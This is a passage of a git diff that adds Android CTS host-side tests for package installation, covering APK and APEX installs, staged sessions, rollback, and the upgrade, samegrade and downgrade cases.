+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install;
+
+import android.app.Activity;
+
+public class LauncherActivity extends Activity {
+}
\ No newline at end of file
diff --git a/hostsidetests/install/app/src/android/cts/install/SamegradeTest.java b/hostsidetests/install/app/src/android/cts/install/SamegradeTest.java
new file mode 100644
index 0000000..2b82fef
--- /dev/null
+++ b/hostsidetests/install/app/src/android/cts/install/SamegradeTest.java
@@ -0,0 +1,175 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install;
+
+import static com.android.cts.install.lib.InstallUtils.getPackageInfo;
+import static com.android.cts.shim.lib.ShimPackage.SHIM_APEX_PACKAGE_NAME;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageInfo;
+
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.TestApp;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+
+@RunWith(Parameterized.class)
+public final class SamegradeTest {
+    @Parameter(0)
+    public INSTALL_TYPE mInstallType;
+
+    @Parameter(1)
+    public boolean mStaged;
+
+    @Parameter(2)
+    public boolean mEnableRollback;
+
+    @Parameters(name = "{0}_Staged{1}_Rollback{2}")
+    public static Collection<Object[]> combinations() {
+        boolean[] booleanValues = new boolean[]{true, false};
+        List<Object[]> temp = new ArrayList<>();
+        for (INSTALL_TYPE installType : INSTALL_TYPE.values()) {
+            for (boolean staged : booleanValues) {
+                for (boolean enableRollback : booleanValues) {
+                    temp.add(new Object[]{installType, staged, enableRollback});
+                }
+            }
+        }
+        return temp;
+    }
+
+    @Rule
+    public InstallRule mInstallRule = new InstallRule();
+
+    @Rule
+    public SessionRule mSessionRule = new SessionRule();
+
+    private static final int VERSION_CODE_SAMEGRADE = 2;
+    private static final int VERSION_CODE_SAMEGRADE_SYSTEM = 1;
+
+    /**
+     * Cleans up test environment.
+     *
+     * This is marked as @Test to take advantage of @Before/@After methods of hostside test cases.
+     * Actual purpose of this method to be called before and after each test case to reduce tests
+     * flakiness.
+     */
+    @Test
+    public void cleanUp_phase() throws Exception {
+        mInstallRule.cleanUp();
+        mSessionRule.cleanUp();
+    }
+
+    /** Install the version {@link #VERSION_CODE_SAMEGRADE} of the apps to be samegraded. */
+    @Test
+    public void arrange_phase() throws Exception {
+        getParameterizedInstall(VERSION_CODE_SAMEGRADE).commit();
+    }
+
+    @Test
+    public void assert_postArrange_phase() {
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_SAMEGRADE);
+    }
+
+    @Test
+    public void action_phase() throws Exception {
+        Install install = getParameterizedInstall(VERSION_CODE_SAMEGRADE);
+        int sessionId = install.commit();
+        mSessionRule.recordSessionId(sessionId);
+    }
+
+    @Test
+    public void assert_phase() {
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_SAMEGRADE);
+    }
+
+    /** Confirms versions before staged samegrades applied. */
+    @Test
+    public void assert_preReboot_phase() throws Exception {
+        assertThat(mSessionRule.retrieveSessionInfo().isStagedSessionReady()).isTrue();
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_SAMEGRADE);
+    }
+
+    /** Confirms versions after staged samegrades applied. */
+    @Test
+    public void assert_postReboot_phase() throws Exception {
+        assertThat(mSessionRule.retrieveSessionInfo().isStagedSessionApplied()).isTrue();
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_SAMEGRADE);
+    }
+
+    @Test
+    public void action_systemApex_phase() throws Exception {
+        final PackageInfo shim = getPackageInfo(SHIM_APEX_PACKAGE_NAME);
+        assertThat(shim).isNotNull();
+        assertThat(shim.getLongVersionCode())
+                .isEqualTo(VERSION_CODE_SAMEGRADE_SYSTEM);
+        assertThat(shim.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM)
+                .isEqualTo(ApplicationInfo.FLAG_SYSTEM);
+        assertThat(shim.applicationInfo.flags & ApplicationInfo.FLAG_INSTALLED)
+                .isEqualTo(ApplicationInfo.FLAG_INSTALLED);
+
+        int sessionId = getParameterizedInstall(VERSION_CODE_SAMEGRADE_SYSTEM).commit();
+        mSessionRule.recordSessionId(sessionId);
+    }
+
+    @Test
+    public void assert_systemApex_postReboot_phase() throws Exception {
+        final int INSTALLED_ON_DATA_PART = 0;
+        assertThat(mSessionRule.retrieveSessionInfo().isStagedSessionApplied()).isTrue();
+
+        final PackageInfo shim = getPackageInfo(SHIM_APEX_PACKAGE_NAME);
+        assertThat(shim).isNotNull();
+        assertThat(shim.getLongVersionCode())
+                .isEqualTo(VERSION_CODE_SAMEGRADE_SYSTEM);
+
+        // Check that APEX on /data wins.
+        assertThat(shim.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM)
+                .isEqualTo(INSTALLED_ON_DATA_PART);
+        assertThat(shim.applicationInfo.flags & ApplicationInfo.FLAG_INSTALLED)
+                .isEqualTo(ApplicationInfo.FLAG_INSTALLED);
+        assertThat(shim.applicationInfo.sourceDir)
+                .isEqualTo("/data/apex/active/com.android.apex.cts.shim@1.apex");
+        assertThat(shim.applicationInfo.publicSourceDir)
+                .isEqualTo(shim.applicationInfo.sourceDir);
+    }
+
+    /** Gets parameterized {@link Install} of test packages with specific version. */
+    private Install getParameterizedInstall(int versionCode) {
+        List<TestApp> testApps = mInstallRule.getTestApps(mInstallType, versionCode);
+        Install install = testApps.size() == 1
+                ? Install.single(testApps.get(0))
+                : Install.multi(testApps.toArray(new TestApp[testApps.size()]));
+        if (mStaged) {
+            install.setStaged();
+        }
+        if (mEnableRollback) {
+            install.setEnableRollback();
+        }
+        return install;
+    }
+}
diff --git a/hostsidetests/install/app/src/android/cts/install/SessionRule.java b/hostsidetests/install/app/src/android/cts/install/SessionRule.java
new file mode 100644
index 0000000..5c95c4f
--- /dev/null
+++ b/hostsidetests/install/app/src/android/cts/install/SessionRule.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install;
+
+import static com.android.cts.install.lib.InstallUtils.getPackageInstaller;
+
+import android.content.Context;
+import android.content.pm.PackageInstaller;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.rules.ExternalResource;
+
+import java.io.BufferedReader;
+import java.io.BufferedWriter;
+import java.io.File;
+import java.io.FileReader;
+import java.io.FileWriter;
+import java.io.IOException;
+import java.nio.file.Files;
+import java.util.Optional;
+
+/** Utils for recording session state and retrieving recorded session info. */
+final class SessionRule extends ExternalResource {
+    private static final String STATE_FILENAME = "ctsstagedinstall_state";
+
+    private final Context mContext;
+    private final File mTestStateFile;
+
+    SessionRule() {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mTestStateFile = new File(mContext.getFilesDir(), STATE_FILENAME);
+    }
+
+    @Override
+    protected void before() throws Throwable {
+        mTestStateFile.createNewFile();
+    }
+
+    /**
+     * Performs cleanup phase for this rule. Actual purpose of this method is to be called before
+     * and after each host-side test to reduce tests flakiness.
+     */
+    void cleanUp() throws IOException {
+        Files.deleteIfExists(mTestStateFile.toPath());
+    }
+
+    void recordSessionId(int sessionId) throws IOException {
+        try (BufferedWriter writer = new BufferedWriter(new FileWriter(mTestStateFile))) {
+            writer.write(String.valueOf(sessionId));
+        }
+    }
+
+    int retrieveSessionId() throws IOException {
+        try (BufferedReader reader = new BufferedReader(new FileReader(mTestStateFile))) {
+            return Integer.parseInt(reader.readLine());
+        }
+    }
+
+    /**
+     * Returns {@link android.content.pm.PackageInstaller.SessionInfo} with session id recorded
+     * in {@link #mTestStateFile}. Assert error if no session found.
+     */
+    PackageInstaller.SessionInfo retrieveSessionInfo() throws IOException {
+        return Optional.of(getPackageInstaller().getSessionInfo(retrieveSessionId()))
+                .orElseThrow(() -> new AssertionError(
+                        "Expecting to find session with getSessionInfo()"));
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/install/app/src/android/cts/install/UpgradeTest.java b/hostsidetests/install/app/src/android/cts/install/UpgradeTest.java
new file mode 100644
index 0000000..81559e9
--- /dev/null
+++ b/hostsidetests/install/app/src/android/cts/install/UpgradeTest.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.TestApp;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+
+@RunWith(Parameterized.class)
+public final class UpgradeTest {
+    @Parameter(0)
+    public INSTALL_TYPE mInstallType;
+
+    @Parameter(1)
+    public boolean mStaged;
+
+    @Parameter(2)
+    public boolean mEnableRollback;
+
+    @Parameters(name = "{0}_Staged{1}_Rollback{2}")
+    public static Collection<Object[]> combinations() {
+        boolean[] booleanValues = new boolean[]{true, false};
+        List<Object[]> temp = new ArrayList<>();
+        for (INSTALL_TYPE installType : INSTALL_TYPE.values()) {
+            for (boolean staged : booleanValues) {
+                for (boolean enableRollback : booleanValues) {
+                    temp.add(new Object[]{installType, staged, enableRollback});
+                }
+            }
+        }
+        return temp;
+    }
+
+    @Rule
+    public InstallRule mInstallRule = new InstallRule();
+
+    @Rule
+    public SessionRule mSessionRule = new SessionRule();
+
+    private static final int VERSION_CODE_CURRENT = 2;
+    private static final int VERSION_CODE_UPGRADE = 3;
+
+    @Test
+    public void cleanUp_phase() throws Exception {
+        mInstallRule.cleanUp();
+        mSessionRule.cleanUp();
+    }
+
+    /** Install the version {@link #VERSION_CODE_CURRENT} of the apps to be upgraded. */
+    @Test
+    public void arrange_phase() throws Exception {
+        getParameterizedInstall(VERSION_CODE_CURRENT).commit();
+    }
+
+    @Test
+    public void assert_postArrange_phase() {
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_CURRENT);
+    }
+
+    @Test
+    public void action_phase() throws Exception {
+        Install install = getParameterizedInstall(VERSION_CODE_UPGRADE);
+        int sessionId = install.commit();
+        mSessionRule.recordSessionId(sessionId);
+    }
+
+    @Test
+    public void assert_phase() {
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_UPGRADE);
+    }
+
+    /** Confirms versions before staged samegrades applied. */
+    @Test
+    public void assert_preReboot_phase() throws Exception {
+        assertThat(mSessionRule.retrieveSessionInfo().isStagedSessionReady()).isTrue();
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_CURRENT);
+    }
+
+    /** Confirms versions after staged samegrades applied. */
+    @Test
+    public void assert_postReboot_phase() throws Exception {
+        assertThat(mSessionRule.retrieveSessionInfo().isStagedSessionApplied()).isTrue();
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_UPGRADE);
+    }
+
+    /** Gets parameterized {@link Install} of test packages with specific version. */
+    private Install getParameterizedInstall(int versionCode) {
+        List<TestApp> testApps = mInstallRule.getTestApps(mInstallType, versionCode);
+        Install install = testApps.size() == 1
+                ? Install.single(testApps.get(0))
+                : Install.multi(testApps.toArray(new TestApp[testApps.size()]));
+        if (mStaged) {
+            install.setStaged();
+        }
+        if (mEnableRollback) {
+            install.setEnableRollback();
+        }
+        return install;
+    }
+}
diff --git a/hostsidetests/install/src/android/cts/install/INSTALL_TYPE.java b/hostsidetests/install/src/android/cts/install/INSTALL_TYPE.java
new file mode 100644
index 0000000..ef98e07
--- /dev/null
+++ b/hostsidetests/install/src/android/cts/install/INSTALL_TYPE.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install;
+
+/**
+ * Indicates target test packages of the installation test.
+ *
+ * @note Once the enum changed, remember to update
+ * {@link InstallRule#getTestPackageNames(INSTALL_TYPE)} correspondingly as well.
+ */
+// TODO(b/136152558): Supports MULTIPLE_APEXS type
+public enum INSTALL_TYPE {
+    SINGLE_APK,
+    SINGLE_APEX,
+    MULTIPLE_APKS,
+    MULTIPLE_MIX;
+
+    /** Returns true if the install type are testing apex package. */
+    public boolean containsApex() {
+        switch (this) {
+            case SINGLE_APEX:
+            case MULTIPLE_MIX:
+                return true;
+            default:
+                return false;
+        }
+    }
+}
diff --git a/hostsidetests/install/src/android/cts/install/host/DeviceParameterized.java b/hostsidetests/install/src/android/cts/install/host/DeviceParameterized.java
new file mode 100644
index 0000000..9e7743a
--- /dev/null
+++ b/hostsidetests/install/src/android/cts/install/host/DeviceParameterized.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install.host;
+
+import com.android.tradefed.invoker.TestInformation;
+import com.android.tradefed.testtype.ITestInformationReceiver;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.runner.Description;
+import org.junit.runner.Runner;
+import org.junit.runners.Parameterized;
+import org.junit.runners.model.InitializationError;
+import org.junit.runners.parameterized.BlockJUnit4ClassRunnerWithParameters;
+import org.junit.runners.parameterized.ParametersRunnerFactory;
+import org.junit.runners.parameterized.TestWithParameters;
+
+import java.util.List;
+
+/**
+ * Custom JUnit4 parameterized test runner that also accommodate {@link ITestInformationReceiver}
+ * to support {@link BaseHostJUnit4Test#getDevice()} properly.
+ */
+public final class DeviceParameterized extends Parameterized implements ITestInformationReceiver {
+    private TestInformation mTestInformation;
+    private List<Runner> mRunners;
+
+    public DeviceParameterized(Class<?> klass) throws Throwable {
+        super(klass);
+        mRunners = super.getChildren();
+    }
+
+    @Override
+    public void setTestInformation(TestInformation testInformation) {
+        mTestInformation = testInformation;
+        for (Runner runner: mRunners) {
+            if (runner instanceof  ITestInformationReceiver) {
+                ((ITestInformationReceiver)runner).setTestInformation(mTestInformation);
+            }
+        }
+    }
+
+    @Override
+    public TestInformation getTestInformation() {
+        return mTestInformation;
+    }
+
+    public static class RunnerFactory implements ParametersRunnerFactory {
+        @Override
+        public Runner createRunnerForTestWithParameters(TestWithParameters test)
+                throws InitializationError {
+            return new DeviceParameterizedRunner(test);
+        }
+    }
+
+    public static class DeviceParameterizedRunner
+            extends BlockJUnit4ClassRunnerWithParameters implements ITestInformationReceiver {
+        private TestInformation mTestInformation;
+
+        public DeviceParameterizedRunner(TestWithParameters test) throws InitializationError {
+            super(test);
+        }
+
+        /** Overrides createTest in order to set the device. */
+        @Override
+        public Object createTest() throws Exception {
+            Object testObj = super.createTest();
+            if (testObj instanceof ITestInformationReceiver) {
+                if (mTestInformation == null) {
+                    throw new IllegalArgumentException("Missing test info");
+                }
+                ((ITestInformationReceiver) testObj).setTestInformation(mTestInformation);
+            }
+            return testObj;
+        }
+
+        @Override
+        public void setTestInformation(TestInformation testInformation) {
+            mTestInformation = testInformation;
+        }
+
+        @Override
+        public TestInformation getTestInformation() {
+            return mTestInformation;
+        }
+
+        @Override
+        public Description getDescription() {
+            // Make sure it includes test class name when generating parameterized test suites.
+            Description desc = Description.createSuiteDescription(getTestClass().getJavaClass());
+            // Invoke super getDescription to apply filtered children
+            super.getDescription().getChildren().forEach(child -> desc.addChild(child));
+            return desc;
+        }
+    }
+}
diff --git a/hostsidetests/install/src/android/cts/install/host/DowngradeTest.java b/hostsidetests/install/src/android/cts/install/host/DowngradeTest.java
new file mode 100644
index 0000000..fe6afac
--- /dev/null
+++ b/hostsidetests/install/src/android/cts/install/host/DowngradeTest.java
@@ -0,0 +1,190 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install.host;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.cts.install.INSTALL_TYPE;
+import android.platform.test.annotations.LargeTest;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+import org.junit.runners.Parameterized.UseParametersRunnerFactory;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+
+@RunWith(DeviceParameterized.class)
+@UseParametersRunnerFactory(DeviceParameterized.RunnerFactory.class)
+public final class DowngradeTest extends BaseHostJUnit4Test {
+    private static final String PACKAGE_NAME = "android.cts.install";
+    private static final String PHASE_FORMAT_SUFFIX = "[%s_Staged%b_Rollback%b]";
+
+    private static final String CLEAN_UP_PHASE = "cleanUp_phase";
+    private static final String ARRANGE_PHASE = "arrange_phase";
+    private static final String ASSERT_POST_ARRANGE_PHASE = "assert_postArrange_phase";
+    private static final String ACTION_PHASE = "action_phase";
+    private static final String ASSERT_DOWNGRADE_SUCCESS_PHASE = "assert_downgradeSuccess_phase";
+    private static final String ASSERT_POST_REBOOT_PHASE = "assert_postReboot_phase";
+    private static final String ASSERT_PRE_REBOOT_PHASE = "assert_preReboot_phase";
+    private static final String ASSERT_DOWNGRADE_NOT_ALLOWED_PHASE =
+            "assert_downgradeNotAllowed_phase";
+    private static final String ASSERT_DOWNGRADE_NOT_REQUESTED_PHASE =
+            "assert_downgradeNotRequested_phase";
+
+    @Rule
+    public ShimApexRule mShimApexRule = new ShimApexRule(this);
+
+    @Parameter(0)
+    public INSTALL_TYPE mInstallType;
+
+    @Parameter(1)
+    public boolean mEnableRollback;
+
+    @Parameters(name = "{0}_Rollback{1}")
+    public static Collection<Object[]> combinations() {
+        boolean[] booleanValues = new boolean[]{true, false};
+        List<Object[]> temp = new ArrayList<>();
+        for (INSTALL_TYPE installType : INSTALL_TYPE.values()) {
+            for (boolean enableRollback : booleanValues) {
+                temp.add(new Object[]{installType, enableRollback});
+            }
+        }
+        return temp;
+    }
+
+    @Before
+    @After
+    public void cleanUp() throws Exception {
+        runPhase(CLEAN_UP_PHASE);
+    }
+
+    @Before
+    public void assumeApexSupported() throws DeviceNotAvailableException {
+        if (mInstallType.containsApex()) {
+            assumeTrue("Device does not support updating APEX",
+                    mShimApexRule.isUpdatingApexSupported());
+        }
+    }
+
+    @Test
+    public void testNonStagedDowngrade_downgradeNotRequested_fails() throws Exception {
+        // Apex should not be committed in non-staged install, such logic covered in InstallTest.
+        assumeFalse(mInstallType.containsApex());
+        runPhase(ARRANGE_PHASE);
+        runPhase(ASSERT_POST_ARRANGE_PHASE);
+
+        runPhase(ASSERT_DOWNGRADE_NOT_REQUESTED_PHASE);
+    }
+
+    @Test
+    public void testNonStagedDowngrade_debugBuild() throws Exception {
+        // Apex should not be committed in non-staged install, such logic covered in InstallTest.
+        assumeFalse(mInstallType.containsApex());
+        assumeTrue("Device is not debuggable", isDebuggable());
+        runPhase(ARRANGE_PHASE);
+        runPhase(ASSERT_POST_ARRANGE_PHASE);
+
+        runPhase(ACTION_PHASE);
+
+        runPhase(ASSERT_DOWNGRADE_SUCCESS_PHASE);
+    }
+
+    @Test
+    public void testNonStagedDowngrade_nonDebugBuild_fail() throws Exception {
+        // Apex should not be committed in non-staged install, such logic covered in InstallTest.
+        assumeFalse(mInstallType.containsApex());
+        assumeFalse("Device is debuggable", isDebuggable());
+        runPhase(ARRANGE_PHASE);
+        runPhase(ASSERT_POST_ARRANGE_PHASE);
+
+        runPhase(ASSERT_DOWNGRADE_NOT_ALLOWED_PHASE);
+    }
+
+    @Test
+    @LargeTest
+    public void testStagedDowngrade_downgradeNotRequested_fails() throws Exception {
+        runStagedPhase(ARRANGE_PHASE);
+        getDevice().reboot();
+        runStagedPhase(ASSERT_POST_ARRANGE_PHASE);
+
+        runStagedPhase(ASSERT_DOWNGRADE_NOT_REQUESTED_PHASE);
+    }
+
+    @Test
+    @LargeTest
+    public void testStagedDowngrade_debugBuild() throws Exception {
+        assumeTrue("Device is not debuggable", isDebuggable());
+        runStagedPhase(ARRANGE_PHASE);
+        getDevice().reboot();
+        runStagedPhase(ASSERT_POST_ARRANGE_PHASE);
+
+        runStagedPhase(ACTION_PHASE);
+
+        runStagedPhase(ASSERT_PRE_REBOOT_PHASE);
+        getDevice().reboot();
+        runStagedPhase(ASSERT_POST_REBOOT_PHASE);
+    }
+
+    @Test
+    @LargeTest
+    public void testStagedDowngrade_nonDebugBuild_fail() throws Exception {
+        assumeFalse("Device is debuggable", isDebuggable());
+        runStagedPhase(ARRANGE_PHASE);
+        getDevice().reboot();
+        runStagedPhase(ASSERT_POST_ARRANGE_PHASE);
+
+        runStagedPhase(ASSERT_DOWNGRADE_NOT_ALLOWED_PHASE);
+    }
+
+    private void runPhase(String phase) throws DeviceNotAvailableException {
+        runPhase(phase, false /* staged */);
+    }
+
+    private void runStagedPhase(String phase) throws DeviceNotAvailableException {
+        runPhase(phase, true /* staged */);
+    }
+
+    /**
+     * Runs the given phase of a test with parameters by calling into the device.
+     * Throws an exception if the test phase fails.
+     * <p>
+     * For example, <code>runPhase("action_phase", true);</code>
+     */
+    private void runPhase(String phase, boolean staged) throws DeviceNotAvailableException {
+        assertThat(runDeviceTests(PACKAGE_NAME,
+                String.format("%s.%s", PACKAGE_NAME, this.getClass().getSimpleName()),
+                String.format(phase + PHASE_FORMAT_SUFFIX, mInstallType, staged, mEnableRollback)))
+                .isTrue();
+    }
+
+    private boolean isDebuggable() throws Exception {
+        return getDevice().getIntProperty("ro.debuggable", 0) == 1;
+    }
+}
diff --git a/hostsidetests/install/src/android/cts/install/host/InstallTest.java b/hostsidetests/install/src/android/cts/install/host/InstallTest.java
new file mode 100644
index 0000000..5580466
--- /dev/null
+++ b/hostsidetests/install/src/android/cts/install/host/InstallTest.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install.host;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.cts.install.INSTALL_TYPE;
+import android.platform.test.annotations.LargeTest;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+import org.junit.runners.Parameterized.UseParametersRunnerFactory;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+
+@RunWith(DeviceParameterized.class)
+@UseParametersRunnerFactory(DeviceParameterized.RunnerFactory.class)
+public final class InstallTest extends BaseHostJUnit4Test {
+    private static final String PACKAGE_NAME = "android.cts.install";
+    private static final String CUSTOMIZED_LAUNCHER_COMPONENT =
+            PACKAGE_NAME + "/" + PACKAGE_NAME + ".LauncherActivity";
+    private static final String PHASE_FORMAT_SUFFIX = "[%s_Staged%b_Rollback%b]";
+
+    private static final String CLEAN_UP_PHASE = "cleanUp_phase";
+    private static final String ACTION_PHASE = "action_phase";
+    private static final String ACTION_ABANDON_SESSION_PHASE = "action_abandonSession_phase";
+    private static final String ASSERT_PHASE = "assert_phase";
+    private static final String ASSERT_COMMIT_FAILURE_PHASE = "assert_commitFailure_phase";
+    private static final String ASSERT_PRE_REBOOT_PHASE = "assert_preReboot_phase";
+    private static final String ASSERT_POST_REBOOT_PHASE = "assert_postReboot_phase";
+    private static final String ASSERT_ABANDON_SESSION = "assert_abandonSession_phase";
+
+    @Rule
+    public ShimApexRule mShimApexRule = new ShimApexRule(this);
+
+    @Rule
+    public LauncherRule mLauncherRule = new LauncherRule(this, CUSTOMIZED_LAUNCHER_COMPONENT);
+
+    @Parameter(0)
+    public INSTALL_TYPE mInstallType;
+
+    @Parameter(1)
+    public boolean mEnableRollback;
+
+    @Parameters(name = "{0}_Rollback{1}")
+    public static Collection<Object[]> combinations() {
+        boolean[] booleanValues = new boolean[]{true, false};
+        List<Object[]> temp = new ArrayList<>();
+        for (INSTALL_TYPE installType: INSTALL_TYPE.values()) {
+            for (boolean enableRollback: booleanValues) {
+                temp.add(new Object[]{installType, enableRollback});
+            }
+        }
+        return temp;
+    }
+
+    private boolean mStaged;
+
+    @Before
+    @After
+    public void cleanUp() throws Exception {
+        runPhase(CLEAN_UP_PHASE);
+    }
+
+    @Before
+    public void assumeApexSupported() throws DeviceNotAvailableException {
+        if (mInstallType.containsApex()) {
+            assumeTrue("Device does not support updating APEX",
+                    mShimApexRule.isUpdatingApexSupported());
+        }
+    }
+
+    @Test
+    public void testInstall() throws Exception {
+        mStaged = false;
+        if (mInstallType.containsApex()) {
+            runPhase(ASSERT_COMMIT_FAILURE_PHASE);
+            return;
+        }
+        runPhase(ACTION_PHASE);
+        runPhase(ASSERT_PHASE);
+    }
+
+    @Test
+    @LargeTest
+    public void testStagedInstall() throws Exception {
+        mStaged = true;
+        runPhase(ACTION_PHASE);
+        runPhase(ASSERT_PRE_REBOOT_PHASE);
+        getDevice().reboot();
+        runPhase(ASSERT_POST_REBOOT_PHASE);
+    }
+
+    @Test
+    public void testAbandonStagedSessionBeforeReboot() throws Exception {
+        mStaged = true;
+        runPhase(ACTION_PHASE);
+        runPhase(ASSERT_PRE_REBOOT_PHASE);
+        runPhase(ACTION_ABANDON_SESSION_PHASE);
+        runPhase(ASSERT_ABANDON_SESSION);
+    }
+
+    @Test
+    @LargeTest
+    public void testAbandonStagedSessionAfterReboot() throws Exception {
+        mStaged = true;
+        runPhase(ACTION_PHASE);
+        getDevice().reboot();
+        runPhase(ACTION_ABANDON_SESSION_PHASE);
+        runPhase(ASSERT_POST_REBOOT_PHASE);
+    }
+
+    /**
+     * Runs the given phase of a test with parameters by calling into the device.
+     * Throws an exception if the test phase fails.
+     * <p>
+     * For example, <code>runPhase("action_phase");</code>
+     */
+    private void runPhase(String phase) throws DeviceNotAvailableException {
+        assertThat(runDeviceTests(PACKAGE_NAME,
+                String.format("%s.%s", PACKAGE_NAME, this.getClass().getSimpleName()),
+                String.format(phase + PHASE_FORMAT_SUFFIX, mInstallType, mStaged, mEnableRollback)))
+                .isTrue();
+    }
+}
diff --git a/hostsidetests/install/src/android/cts/install/host/LauncherRule.java b/hostsidetests/install/src/android/cts/install/host/LauncherRule.java
new file mode 100644
index 0000000..fefe71e
--- /dev/null
+++ b/hostsidetests/install/src/android/cts/install/host/LauncherRule.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
